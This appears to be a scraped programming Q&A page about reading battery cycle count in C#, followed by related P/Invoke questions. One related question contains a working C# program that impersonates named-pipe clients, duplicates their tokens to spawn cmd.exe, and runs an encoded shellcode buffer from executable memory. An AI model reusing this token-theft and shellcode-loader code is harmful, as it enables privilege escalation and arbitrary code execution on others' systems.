Laptop/Tablet BatteryCycleCount for Determining its Health - c#
Please help me to get Laptop/Tablet "BatteryCycleCount" value. Based on this property we will determine the replacement of battery.
Below are some APIs, which i have found in my googling:
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern IntPtr SetupDiGetClassDevs(ref Guid gClass, [MarshalAs(UnmanagedType.LPStr)] string strEnumerator, IntPtr hParent, uint nFlags);
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern bool SetupDiEnumDeviceInterfaces(IntPtr lpDeviceInfoSet, uint nDeviceInfoData, ref Guid gClass, uint nIndex, ref SP_DEVICE_INTERFACE_DATA oInterfaceData);
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern bool SetupDiGetDeviceInterfaceDetail(IntPtr lpDeviceInfoSet, ref SP_DEVICE_INTERFACE_DATA oInterfaceData, ref SP_DEVICE_INTERFACE_DETAIL_DATA oDetailData, uint nDeviceInterfaceDetailDataSize, ref uint nRequiredSize, IntPtr lpDeviceInfoData);
[DllImport("kernel32.dll", SetLastError = true)]
protected static extern IntPtr CreateFile([MarshalAs(UnmanagedType.LPStr)] string strName, uint nAccess, uint nShareMode, IntPtr lpSecurity, uint nCreationFlags, uint nAttributes, IntPtr lpTemplate);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool DeviceIoControl([In] SafeHandle hDevice, [In] int dwIoControlCode, [In] IntPtr lpInBuffer, [In] int nInBufferSize, [Out] IntPtr lpOutBuffer, [In] int nOutBufferSize, out int lpBytesReturned, [In] IntPtr lpOverlapped);
Instead of direct use of the Windows API, you can request the performance counters in the category "BatteryStatus".
Edit :
The counters in the category "BatteryStatus" are multi instance : one per battery. On my laptop, I can write this C# code :
var counter = new PerformanceCounter("BatteryStatus", "RemainingCapacity", "ACPI\PNP0C0A\0_0", true);
var remainingCapacity = counter.NextValue();
You can view all the available counters in the category "BatteryStatus" with Performance Monitor ("perfmon" command).
Related
How to use an available token to create a new thread in C#?
This code tries to impersonate token of any client that connects to the named pipe that is provided as argument to the code. After receiving the token in hSystemtoken, this token would be used to call CreateProcessWithTokenW. However I also want to call the shellcode using this token. What is the way to achieve this? CreateProcessThread is one way to start a thread. Looking through the documentation I also understand there is a function SetThreadToken which I tried in my code but that did not work. Is there a simpler way to do this? using System; using System.Runtime.InteropServices; namespace console_csharp { [StructLayout(LayoutKind.Sequential)] public struct SID_AND_ATTRIBUTES { public IntPtr Sid; public int Attributes; } public struct TOKEN_USER { public SID_AND_ATTRIBUTES User; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes); [DllImport("kernel32.dll")] static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); [DllImport("Advapi32.dll")] static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); [DllImport("kernel32.dll")] private static extern IntPtr GetCurrentThread(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetTokenInformation(IntPtr TokenHandle, uint TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] public extern static bool DuplicateTokenEx( IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateProcessWithTokenW( IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); // SetThreadToken [System.Runtime.InteropServices.DllImport("advapi32.dll", SetLastError = true)] private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken); static void Main(string[] args) { //brings up calc byte[] buf = new byte[319] { 0x48,0x31,0xc9,0x48,0x81,0xe9,0xdd,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff, 0xff,0xff,0x48,0xbb,0xb6,0x91,0x18,0x2b,0x1c,0x05,0x92,0x1b,0x48,0x31,0x58, 0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x4a,0xd9,0x9b,0xcf,0xec,0xed, 0x52,0x1b,0xb6,0x91,0x59,0x7a,0x5d,0x55,0xc0,0x4a,0xe0,0xd9,0x29,0xf9,0x79, 0x4d,0x19,0x49,0xd6,0xd9,0x93,0x79,0x04,0x4d,0x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0xcb,0x69,0x00,0x29,0x5c,0xa5,0xe3,0x77,0x41,0x1c, 0x5c,0xd3,0x92,0x6c,0x6e,0xcd,0x48,0x7d,0x69,0xf1,0x35,0xd3,0xe9,0x7d,0x2b, 0x1c,0x05,0x92,0x1b }; int size = buf.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(buf, 0, addr, size); //IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,IntPtr.Zero); //WaitForSingleObject(hThread, 0xFFFFFFFF); string pipeName = args[0]; IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); ConnectNamedPipe(hPipe, IntPtr.Zero); ImpersonateNamedPipeClient(hPipe); IntPtr hToken; OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken); int TokenInfLength = 0; GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength); GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength); TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER)); IntPtr pstr = IntPtr.Zero; Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr); string sidstr = Marshal.PtrToStringAuto(pstr); Console.WriteLine(#"Found sid {0}", sidstr); // phNewToken will be the handle to new token IntPtr hSystemToken = IntPtr.Zero; DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken); // using that process to start a cmd.exe PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi); // lets try call thread with token now IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); SetThreadToken(hThread, hSystemToken); WaitForSingleObject(hThread, 0xFFFFFFFF); } } } thanks
How to use CreateProcessWithLogonW with extended attributes (STARTUPINFOEX)
I really want to be able to do file redirection via shared pipes, and filter the list of inherited handles to only those stdout/stderr/stdin handles, and as far as I can find STARTUPINFOEX and extended attributes are the way to do that. I also need to be able to launch as a different user. CreateProcess works for me when taking STARTUPINFOEX, and either passing no attributes, or a single attribute (either to change the parent, or filter the inherited handles). CreateProcessWithLogonW works when taking STARTUPINFOEX, but only if I leave off EXTENDED_STARTUPINFO_PRESENT from the creation flags (basically treating STARTUPINFOEX as STARTUPINFO, even though startupinfo.cb is the full struct). If I add EXTENDED_STARTUPINFO_PRESENT, I get the ever helpful "The parameter is incorrect", even without using any attributes (which works on CreateProcess) The below works, until you uncomment // | NativeMethods.EXTENDED_STARTUPINFO_PRESENT, public static void CreateProcessExtended( string userName, SecureString password) { var startupInfoEx = new NativeMethods.STARTUPINFOEX { StartupInfo = new NativeMethods.STARTUPINFO() }; startupInfoEx.StartupInfo.dwFlags = NativeMethods.STARTF_USESHOWWINDOW; startupInfoEx.StartupInfo.wShowWindow = 0; // SW_HIDE NativeMethods.PROCESS_INFORMATION processInfo; startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx); IntPtr passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password); bool retVal = NativeMethods.CreateProcessWithLogonW( userName, null, passwordPtr, NativeMethods.LogonFlags.LOGON_WITH_PROFILE, null, #"C:\windows\system32\notepad.exe", (uint)NativeMethods.CREATE_NO_WINDOW | NativeMethods.CREATE_SUSPENDED,// | NativeMethods.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref startupInfoEx, out processInfo); if (!retVal) { throw new Win32Exception(Marshal.GetLastWin32Error()); } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } [return: MarshalAs(UnmanagedType.Bool)] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] [DllImport("Advapi32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] public static extern bool CreateProcessWithLogonW( string userName, string domain, IntPtr password, LogonFlags logonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); Edit.1 Sent in a filtered handle attribute list in case it was a contract difference that needed the extended attributes to be something other than IntPtr.Zero. Still failed. Again, worked in CreateProcess, failed in CreateProcessWithLogonW using these new sigs: [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool UpdateProcThreadAttribute( IntPtr lpAttributeList, uint dwFlags, uint Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool InitializeProcThreadAttributeList( IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
C# WinApi Without StringBuilder?
Can I use WinApi functions that have out string-parameter without StringBuilder ? If yes, how ? Or is that the easiest way to retrieve strings from WinApi ? [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] static extern uint FormatMessage(uint flags, IntPtr source, uint messageID, int languageID, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder buffer, int bufferSize, string[] arguments); // I wished I could use it with just a string [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] static extern uint FormatMessage(uint flags, IntPtr source, uint messageID, int languageID, ref [MarshalAs(UnmanagedType.LPWStr)] string buffer, int bufferSize, string[] arguments); (My function is probably buggy. I'm not sure)
Wrapper C# for kernel32.dll API
Any helper class anywhere which wrapps kernel32 APIs, with all functions-methods and structures? Or any wrapper generator? I want ALL methods of kernel32.dll in C# like this: [DllImport("kernel32.dll",EntryPoint="RtlMoveMemory")] public static extern void RtlMoveMemory(int des, int src, int count); [DllImport("kernel32.dll", EntryPoint = "OpenProcess")] public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("kernel32", CharSet = CharSet.Ansi)] public extern static int GetProcAddress(int hwnd, string procedureName); [DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")] public static extern int GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32", EntryPoint = "CreateRemoteThread")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId); [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] public static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, IntPtr lpNumberOfBytesWritten);
I doubt it. Have you seen http://www.pinvoke.net/?
How to call "CreateFile" in C#?
After getting so much information about retrieving .MBR from a storage device, conclusion is to use P/Invoke to call CreateFile. But how this can be done in C#? Please illustrate! Your help will be greatly appreciated!!!
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern SafeFileHandle CreateFile( string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile ); http://pinvoke.net/default.aspx/kernel32/CreateFile.html